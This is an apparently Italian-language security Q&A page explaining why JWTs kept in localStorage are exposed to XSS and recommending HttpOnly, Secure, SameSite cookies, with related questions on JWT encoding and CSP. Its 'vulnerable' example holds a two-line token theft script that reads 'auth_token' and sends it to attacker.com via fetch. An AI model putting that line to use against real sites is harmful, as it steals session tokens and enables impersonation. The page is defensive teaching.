Perché non si dovrebbero salvare i JWT nel LocalStorage?
Salvare i token di autenticazione nel localStorage li espone all’esfiltrazione immediata in caso di vulnerabilità Cross-Site Scripting (XSS). L’uso di cookie con attributi HttpOnly, Secure e SameSite impedisce l’accesso da parte di codice JavaScript malevolo.
Detailed Technical Explanation
Qualsiasi script in esecuzione sulla pagina ha accesso illimitato a window.localStorage. Se si verifica un attacco XSS, l’attaccante può sottrarre il token e impersonare l’utente. Con i cookie HttpOnly, il browser gestisce le credenziali senza esporle al DOM.
Technical Example & Code
Il localStorage è completamente leggibile da qualsiasi script eseguito nel contesto della pagina.
// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));
// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!Why This Is the Case (Underlying Architectural Rationale)
"La Same-Origin Policy protegge dalle richieste tra origini diverse ma non impedisce a uno script iniettato nella stessa origine di accedere ai dati locali."
Common Misconception vs Reality
"Il localStorage è sicuro perché le altre origini web non possono leggerlo."
Anche se altre origini sono bloccate, qualsiasi script malevolo iniettato tramite XSS nel vostro dominio leggerà il token all’istante.
Related Curious-Techie Resources
Cookies vs LocalStorage: In-Depth Technical Comparison →
Detailed analysis of storage lifetimes, XSS exposure, CSRF mitigations, and performance.
Interactive ToolSecurity Headers Checker →
Audit your website for HttpOnly cookie enforcement, CSP protection, and transport security.
Developer ReferenceWhat is a Cookie? Protocol Definition →
Related Questions in the Q&A Knowledge Base
Yes, standard JSON Web Tokens (JWS) are signed, not encrypted. The header and payload are merely Base64URL-encoded strings that anyone can decode and read in plaintext without knowing the secret key.
Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.
Authentication (AuthN) verifies who a user is (identity confirmation), while Authorization (AuthZ) determines what permissions or resources that authenticated user is allowed to access.
Ecosistema Tecnico Correlato e Passaggi Successivi
Articoli Tecnici Correlati
What Is a JSON Web Token (JWT)?
Direct definition and architectural breakdown of stateless token exchange.
JWT vs Session-Based Authentication: Architecture & Performance
Compare database session lookups with stateless JWT verification across scalability and revocation.
Troubleshooting: JWT Works in Postman but Fails in Browser
Diagnose and remediate CORS header stripping, HttpOnly cookie constraints, and preflight authorization failures.
Laboratori Pratici di Diagnosi
Specifiche e Standard di Riferimento
Continua ad Imparare
JWT Interactive Tampering & Validation Lab
Put your theoretical understanding into practice by tampering with claims and testing signature rejection in the live sandbox.